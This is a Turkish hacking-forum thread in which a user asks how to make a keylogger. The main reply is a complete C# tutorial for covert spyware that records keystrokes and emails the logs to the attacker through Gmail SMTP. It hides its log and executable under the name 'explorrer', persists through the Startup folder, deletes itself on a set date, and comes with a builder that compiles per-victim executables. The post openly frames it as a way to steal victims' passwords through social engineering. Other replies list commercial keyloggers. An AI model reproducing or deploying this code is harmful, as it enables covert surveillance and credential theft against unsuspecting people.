Keylogger yapmak istiyorum

Profesör

Kadim Üye
10 Nis 2020
5,088
225
1,608
-Türkistan-
Merhaba değerli üye;


Keylogger Nedir?​

Keylogger, çalıştırılan bilgisayarda bilgisayar sahibine kendini fark ettirmeden, bilgisayarda basılan tuşların kayıtlarını tutan ve bu kayıtları programının sahibine mail atan bir casus programdır. Genellik kullanıcı adı ve ya şifre çalmak için kullanılır. Sosyal mühendislik yöntemleri ile kurban bilgisayarda çalıştırılır. Güvenlik açısından yöneticinin bilgisi dahilinde de kullanılabilir.


Uygulamanın Özellikleri​

Hani dedik ya profesyonel keylogger diye şimdi benim açımdan profesyonel olmasını sağlayan özelliklerine bakalım.

Öncelikle uygulamanın basit bir arayüzü var ve kullanıcıdan bir mail adresi, o mail adresinin şifresini, dk bilgisi ve bir tarih ister.

Uygulama arayüzü
Uygulama arayüzü


Keylogger Oluştur butonuna basıldığında seçilen dosya dizinine, alınan parametreler doğrultusunda o kullanıcıya özel bir exe dosyası oluşturur. Oluşan yeni exe, bizim kurbanda kullanacağımız exe’dir. Bir sosyal mühendislik yöntemi ile ve ya kendiniz (flash bellek vs) gibi yöntemlerle bu exe’yi kurban bilgisayarda çift tıklayarak çalıştırırız. Herhangi bir çalışma belirtisi almayız ama program çalışmaya başlamıştır. Artık o exe dosyasını silebiliriz. Bilgisayar bizimdir
🙂


Çalıştırdığımız bilgisayarda basılan tuşların kaydını, arayüzde girdiğimiz mail adresini kullanarak mail atar. Bu mail atma işlemini ise gene arayüzde girdiğimiz dk aralığında bir yapar. Bilgisayar kapansa dahi tekrar açıldığında aktif olarak kullanıcıya kendini fark ettirmeden klavye loglarını atmaya devam eder. Seçtiğimiz kendini silme tarihi ise program o tarihe geldiğinde kurban bilgisayardan kendi kendini silerek izlerini kaybeder.

Eğer oluşturduğumuz exe’nin adını keylogger koymaz isek anti-virüs programları bunu fark etmez. Sebebi ise önemli sistem dosyalarını kullanmayan ve sisteme zarar vermeyen bir program olmasıdır.


Hadi Programlayalım…​

Programlama kısmının anlaşılması için iki ana bölümde ele alalım ve her bölümü de metotlar üzerinden parça parça yazalım. İlk bölüm de oluşan exe’nin programlanmasıdır ki esas iş burada. İkinci bölüm ise arayüzün programlanması ve ilk bölümde yazdığımız programın arayüze entegre edilme işlemidir.

Bölüm 1​

İlk olarak Virsual Studio’nun C# bölümünde bir konsol uygulaması açıyoruz. Metotları ve değişkenleri bunun içine yazıyoruz. Main() Metodunu en son dolduracağız.

Değişkenler​

Main() metodunun üstüne global değişkenlerimizi tanımlıyoruz.


1
2
3
4
5
6
7
8
9
static extern short GetAsyncKeyState(int vkey);
delegate void KontrolHandler();
static int gonDakika = 1;
static int suankiDakika = 0;
static int dk = 0;
static string Email = "mail [email protected]";
static string Sifre = "mail şifreniz";
static string gonEmail = "mail [email protected]";
static DateTime SilmeTarihi;
Bu değerleri ilerde arayüzde atayacağımız için şimdilik el ile giriyoruz.

Tuş kontrol metodları​

AsyncKeyState ile gelen basılan tuş bilgileri ascii sayıları halindedir. Bu sayıları yakalamak için Kontrol() metodunu çağıracağız.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void Kontrol()
{
while (true)
{
for (int i = 0; i < Int16.MaxValue; i++)
{
if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
char key = Convert.ToChar(MakeChar((Int16)i));
TusKaydet(key.ToString());
}
}

if (suankiDakika + gonDakika >= 60)
{
dk = (suankiDakika + gonDakika) % 60;
}
else
{
dk = suankiDakika + gonDakika;
}
if (SuanDakika() == dk)
{
suankiDakika = SuanDakika();
MailGonder();
}
}
}
Kontrol() metodu da yakaladığı sayıları MakeChar() metoduna göndererek basılan tuşların Türkçe karakter olup olmadığına bakar, eğer Türkçe karakter ise kayıt etmesini sağlar. Türkçe karakterleri otomatik olarak çevirmediği için karakterlerin tek tek ascii kodlarını girdik.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static Int16 MakeChar(Int16 key)
{
Int16[] keycode = { 220, 219, 222, 191, 186, 221 }, charcode = { 199, 286, 304, 214, 350, 220, 231, 287, 105, 246, 351, 252 };
int keyIndex = Array.IndexOf(keycode, key);

bool nocaps = (!Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys == Keys.Shift);
if (nocaps && key > 64 && key < 91)
{
key = (Int16)(key == 73 ? 305 : key + 32);
}
else if (keyIndex != -1)
{
key = nocaps ? charcode[keyIndex + 6] : charcode[keyIndex];
}
Debug.Write((char)key);

return key;
}
Bu metotlar bize klavyeden basılan tuşların neler olduğunu söylecek olan metotlardır.

Tuşların kaydını tutma​

Şimdi yakaladığımız tuşların kaydını bir yerde tutmalıyız. Çünkü bu metotlar while döngüsü içinde sürekli olarak çalışacaklar ve her klavye tuşunu teker teker yakalayacakalar. Yakaladıklarımızı bize mail atma zamanı gelene kadar tutacağımız bit txt dosyamız olması lazım.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void TusKaydet(string tus)
{
FileStream fs = null;

if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt"))

fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt", FileMode.Append, FileAccess.Write);

else
fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt", FileMode.CreateNew, FileAccess.Write);

StreamWriter sw = new StreamWriter(fs);
sw.Write(tus);
sw.Flush();
fs.Close();
}
FileStream ile bilgisayarlardaki gizli özel dosya olan ApplicationData klasörünede GrayLog adında bir txt dosyasının kontrolünü yaptık ve eğer yoksa oluşturduk.
StreamWriter ile de bu text dosyasının içine klavyeden gelen tus değişkenini yazdık.

Kaydı tuttulan tuşları okuma ve silme​

Bu metot da ise teker teker yazdığımız basılan tuşların kaydının buşunduğu GrayLog.txt dosyasındaki değerleri okuma işlemini yapacağız. Bu işlem artık mail gönderme zamanı geldiğinde yapılacak ve mail de gönderilecek olan yazılar olacak.


1
2
3
4
5
6
7
8
9
10
static string Oku()
{
FileStream fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt", FileMode.Open, FileAccess.Read);

StreamReader sr = new StreamReader(fs);
string veriler = sr.ReadToEnd();
fs.Close();
Sil();
return veriler;
}
Mail gönderildikten sonra yani Oku() metodunun işi bittikten sonra yeni loglar gelmesi için kayıt tuttuğumuz text dosyasının içini temizlememiz gerekiyor. Bunun için Sil() metodu yazacağız ve kayıtların sürekli olarak kayıt edildiği bu text dosyasının boyutunun sürekli artmasını engelleyip daha temiz loglar almamızı sağlayacağız.


1
2
3
4
5
6
7
8
9
static void Sil()
{
FileStream fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "/GrayLog.txt", FileMode.Create, FileAccess.Write);

StreamWriter sw = new StreamWriter(fs);
sw.Write("");
sw.Flush();
fs.Close();
}

Mail gönderme​

Tuşları aldık, yazdık, okuduk, sildik şimdi de yazılan tuşları okuyup mail gönderelim.


1
2
3
4
5
6
7
8
9
10
static void MailGonder()
{
string veriler = Oku();
MailMessage mesaj = new MailMessage(Email, gonEmail, "LOG", veriler);
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
smtp.EnableSsl = true;
smtp.UseDefaultCredentials = true;
smtp.Credentials = new NetworkCredential(Email, Sifre);
smtp.Send(mesaj);
}
Unutmayalım ki program sizin girdiğiniz mail adresini ve şifresini kullanarak o mail adresinin kendi kendine mail atmasını sağlayacak. Yani şifreyi o yüzden giriyoruz. Mail adresinin gmail olması zorunludur. Çünkü smtp ayarları gmail’e göre yapılmıştır. Ayrıca programın bu mail adresini kullanması için Account settings: Your browser is not supported. adresine gidip mail’in bu program tarafından kullanılabilir olmasını onaylamamız gerekiyor.

Dakika ayarları​

Kaç dakikada bir log geleceğini gonDakika değişkenine yazdık. Bunu programın anlaması için şuanki dakikayı bilmesi gerekiyor ve bunun üzerine gonDakika değişkeninde yazdığımız kadar ekleyip, şuanki dakika eklenmiş dakikaya geldiğinde mail gönderme işleminin aktif olması gerekiyor.


1
2
3
4
5
6
static int SuanDakika()
{
string suan = DateTime.Now.ToShortTimeString();
int dakika = int.Parse(suan.Substring(suan.IndexOf(':') + 1, suan.Length - suan.IndexOf(':') - 1));
return dakika;
}
Bu metotta Kontrol() metoduna göndermek için anlık dakika bilgisin aldık.

Kendini kopyalaması​

Exe’miz çalıştığında ilk yapacağı iş kendini Start Up dosyasına kopyalamak olacak. Bunun sebebi Start Up dosyası bilgisayar açıldığında ilk çalışan programların olduğu dosyadır. Yani programımız burada durursa bilgisayar kapanıp açılsa dahi çalışmasına devam edecektir.


1
2
3
4
5
6
7
static void ExeKopyalama()
{
if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\Start Menu\Programs\Startup\GrayKey.exe"))
{
File.Copy(Path.GetFileName(Application.ExecutablePath), Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\Start Menu\Programs\Startup\GrayKey.exe");
}
}

Programın kendini silmesi​

Son olarak programımız girilen kendini silme tarihine gelindiğinde kendini ve ApplicationData dosyasında oluşturduğumuz GrayKey.txt dosyasını silmesi ve tüm izlerini ortadan kaldıması gerekiyor. Bunun için programın CMD dosya dizinine kendini sil komutu göndererek yapmasını sağlayacağız.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void ExpoldeYourSelf()
{
System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo()
{
Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\GrayLog.txt",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd.exe"
});

System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo()
{
Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Microsoft\Windows\Start Menu\Programs\Startup\GrayKey.exe",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd.exe"
});
}

static void islemSonlandi(IAsyncResult iar)
{
}
son olarak işlemi sonlandıran boş metotumuzuda ekledikten sonra Main() metoduna geçebiliriz.

Main() metot​

Programın hayalet çalışabilmesi için Referanslara System.Windows.Form ekleyip, Solution Properties’den Windows Application seçiyoruz. Yani Console uygulamamız bir Windows uygulaması olarak çalışacak ama ortada bir Form olmadığı için yok olarak çalışacak.


1
2
3
4
5
6
7
8
static void Main()
{
suankiDakika = SuanDakika();
KontrolHandler h = new KontrolHandler(Kontrol);
h.BeginInvoke(new AsyncCallback(islemSonlandi), null);
Console.ReadLine();
Application.Run();
}
Evet ilk bölüm bitti. Programın şu anki hali bizim casus olarak çalıştıracağımız halidir. Şimdi buna bir arayüz ekleyip ilk başta tanımladığımız değişkenleri bu arayüzden programa dahil edeceğiz ve bu kodlara sahip exe’nin yazacağımız arayüzden oluşmasını sağlayacağız.

Bölüm 2​

Solution‘umuza bir Windows Form Uygulaması ekleyelim. Yukarıda paylaştığım arayüz fotoğrafına benzer bir Form oluşturalım. SaveFileDialog eklemeyi unutmayalım.

Keylogger Oluştur butonu kodları​

Keylogger Oluştur butonuna tıklayar kod kısmına geçelim. İlk olarak programın patlamasını önlemek için girilen değerlerin boş olup olmadığını ve ya istenilen aralıkta olup olmadığını kontrol edeceğiz. Örneğin log alma süresini -5 (eksi beş) yapamamlı ve ya kendini silme tarihini geçmiş bir tarih yapamamalı.

Bu kontrollerden geçtikten sonra eğer sıkıntı yoksa saveFileDialog açılacak ve DialogResult.OK ise CSharpCodeProvider, ICodeCompiler, CompilerParameters ve CompilerParameters sınıfları kullanılarak ilk bölümde yazdığımız kodları yeni bir exe haline getireceğiz.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private void button1_Click(object sender, EventArgs e)
{
if (numericUpDown1.Value < 1)
{
MessageBox.Show("Dk'da sıkıntı var");
}
else if (numericUpDown1.Value > 59)
{
MessageBox.Show("1 saatten fazla olmayacak şekilde programlandı!");
}
else if (txtEMail.Text == "" || txtEMail.Text == null)
{
MessageBox.Show("Mail adresini gir!");
}
else if (!txtEMail.Text.Contains("@"))
{
MessageBox.Show("Dalga mı geçiyorsun! Doğru düzgün mail gir.");
}
else if (dateTimePicker1.Value <= DateTime.Now)
{
MessageBox.Show("Adam gibi bi tarih seç!");
}
else
{
if (saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
Dictionary<string, string> version = new Dictionary<string, string>();
version.Add("CompilerVersion", "v2.0");
CSharpCodeProvider codeProvider = new CSharpCodeProvider(version);
ICodeCompiler codeCompiler = codeProvider.CreateCompiler();
CompilerParameters cp = new CompilerParameters();
cp.GenerateExecutable = true;
cp.GenerateInMemory = false;
cp.MainClass = "KeyLog_V1.Program";
cp.OutputAssembly = saveFileDialog1.FileName;
cp.ReferencedAssemblies.Add("system.dll");
cp.ReferencedAssemblies.Add("system.windows.forms.dll");
cp.CompilerOptions = "/target:winexe";
CompilerResults cr = codeCompiler.CompileAssemblyFromSource(cp, Kodlar());

foreach (CompilerError item in cr.Errors)
{
MessageBox.Show(item.ErrorText);
}
}
}
}

İlk bölümden kodların alınması​

Butonun altına yazdığımız Kodlar() metodunu oluşturacağız. Bu kodlar metodu bizim ilk bölümde yazdığımız kodlar olacak. Yalnız bu kodları string olarak taşıyacağımız için ” değerlerinde sıkıntı çıkacaktır. Ctrl + f yaparak bu metodun içindeki ” işaretlerini * haline getirelim. En son return yapmadan önce Replace yaparak tekrar eski haline dönderip metodu gönderelim.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
string Kodlar()
{
string kod = @"
using System;
using System.Web;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
using Microsoft.Win32;
using System.Diagnostics;

namespace KeyLog_V1
{
class Program
{
[DllImport(*user32.dll*)]
static extern short GetAsyncKeyState(int vkey);
delegate void KontrolHandler();
static int gonDakika = DK1;
static int suankiDakika = 0;
static int dk = 0;
static string Email = *gonMAILL*;
static string Sifre = *mailSifre*;
static string gonEmail = *gonMAILL*;
static DateTime SilmeTarihi = Convert.ToDateTime(*TTT*);


static void Main()
{
ExeKopyalama();
if (SilmeTarihi &lt;= DateTime.Now)
{
ExpoldeYourSelf();
return;
}
suankiDakika = SuanDakika();
KontrolHandler h = new KontrolHandler(Kontrol);
h.BeginInvoke(new AsyncCallback(islemSonlandi), null);
Console.ReadLine();
Application.Run();
}
static void ExpoldeYourSelf()
{
System.Diagnostics.Process.Start(*cmd.exe*, */C choice /C Y /N /D Y /T 3 &amp; Del \** + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @*\explorrer.txt*);
Application.Exit();

System.Diagnostics.Process.Start(*cmd.exe*, */C choice /C Y /N /D Y /T 3 &amp; Del \** + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @*\Microsoft\Windows\Start Menu\Programs\Startup\explorrer.exe*);
Application.Exit();
}



static Int16 MakeChar(Int16 key)
{
Int16[] keycode = { 220, 219, 222, 191, 186, 221 }, charcode = { 199, 286, 304, 214, 350, 220, 231, 287, 105, 246, 351, 252 };
int keyIndex = Array.IndexOf(keycode, key);

bool nocaps = (!Control.IsKeyLocked(Keys.CapsLock) &amp;&amp; Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) &amp;&amp; Control.ModifierKeys == Keys.Shift);
if (nocaps &amp;&amp; key &gt; 64 &amp;&amp; key &lt; 91)
{
key = (Int16)(key == 73 ? 305 : key + 32);
}
else if (keyIndex != -1)
{
key = nocaps ? charcode[keyIndex + 6] : charcode[keyIndex];
}

Debug.Write((char)key);

return key;
}

static void Kontrol()
{
while (true)
{
for (int i = 0; i &lt; Int16.MaxValue; i++)
{
if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
char key = Convert.ToChar(MakeChar((Int16)i));
TusKaydet(key.ToString());
}
}

if (suankiDakika + gonDakika &gt;= 60)
{
dk = (suankiDakika + gonDakika) % 60;
}
else
{
dk = suankiDakika + gonDakika;
}
if (SuanDakika() == dk)
{
suankiDakika = SuanDakika();
MailGonder();
}
}
}
static void MailGonder()
{
string veriler = Oku();
MailMessage mesaj = new MailMessage(Email, gonEmail, *LOG*, veriler);
SmtpClient smtp = new SmtpClient(*smtp.gmail.com*, 587);
smtp.EnableSsl = true;
smtp.UseDefaultCredentials = true;
smtp.Credentials = new NetworkCredential(Email, Sifre);
smtp.Send(mesaj);
}
static string Oku()
{
FileStream fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*, FileMode.Open, FileAccess.Read);
StreamReader sr = new StreamReader(fs);
string veriler = sr.ReadToEnd();
fs.Close();
Sil();
return veriler;
}
static void Sil()
{
FileStream fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*, FileMode.Create, FileAccess.Write);
StreamWriter sw = new StreamWriter(fs);
sw.Write(**);
sw.Flush();
fs.Close();
}
static int SuanDakika()
{
string suan = DateTime.Now.ToShortTimeString();
int dakika = int.Parse(suan.Substring(suan.IndexOf(':') + 1, suan.Length - suan.IndexOf(':') - 1));
return dakika;
}
static void islemSonlandi(IAsyncResult iar)
{
}
static void TusKaydet(string tus)
{
FileStream fs = null;
if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*))
fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*, FileMode.Append, FileAccess.Write);
else
fs = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + */explorrer.txt*, FileMode.CreateNew, FileAccess.Write);
StreamWriter sw = new StreamWriter(fs);
sw.Write(tus);
sw.Flush();
fs.Close();
}
static void ExeKopyalama()
{
if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @*\Microsoft\Windows\Start Menu\Programs\Startup\explorrer.exe*))
{
File.Copy(Path.GetFileName(Application.ExecutablePath), Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @*\Microsoft\Windows\Start Menu\Programs\Startup\explorrer.exe*);
}
}
}
}
";
kod = kod.Replace("gonMAILL", txtEMail.Text);
kod = kod.Replace("mailSifre", txtSifre.Text);
kod = kod.Replace("DK1", numericUpDown1.Value.ToString());
kod = kod.Replace("TTT", dateTimePicker1.Value.ToString());

kod = kod.Replace('*', '\"');
return kod;
}

private void button2_Click(object sender, EventArgs e)
{
this.Close();
}
}


Evet programımız bitti. Şimdi Bu Windows Form Uygulamasını Set Start Up Project yaparak çalıştırabiliriz.

Not: Uygulamanın tanımadığı Class‘ların namespace‘ini ctrl+. yaparak eleyebiliriz.
 

🅼 🆁 🆇

Uzman üye
26 Haz 2021
1,413
10
1,897
Bir Yerler
Merhaba Değerli Üye Öncelikle İyi Forumlar İyi Çalışmalar Dilerim

Keylogger Nedir?

Keylogger basitçe sizin klavyeden yaptığınız her vuruşu kaydeden ve bu kayıtları kişisel bilgilerinizi çalmak isteyen kişlere gönderen programlardır. Bu kişiler istedikleri zaman bunlara ulaşıp yazdığınız her tür bilgiyi görebilirler. Bu yolla sizin e-mail şifreniz, kredi kartı numaranız gibi hayati önem taşıyan bilgileriniz çalınabilir.

Bu Yazılımlarıdan Birini Kullanabilirsiniz

Keylogger yazılımlara örnek olarak:

  • iSpyNow
  • Perfect Keylogger
  • Phantom
Tekrardan İyi Forumlar İyi Çalışmalar
 

X-Code

Uzman üye
19 Mar 2019
1,855
3
335
Localhost
Merhaba;

Öncelikle hangi işletim sistemini kullanıyorsunuz ve hedef cihaz hangi işletim sistemini kullanıyor? Şayet siz GNU/Linux tabanlı bir işletim sistemi kullanıyorsanız Social Engineering Toolkit aracı ile keylogger yapabilirsiniz. Nasıl yapacağınızı bu konu ile öğrenebilirsiniz. Yok Windows işletim sistemi kullanıyorsanız da bu konu ile keylogger yapabilirsiniz.

İyi Forumlar..
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.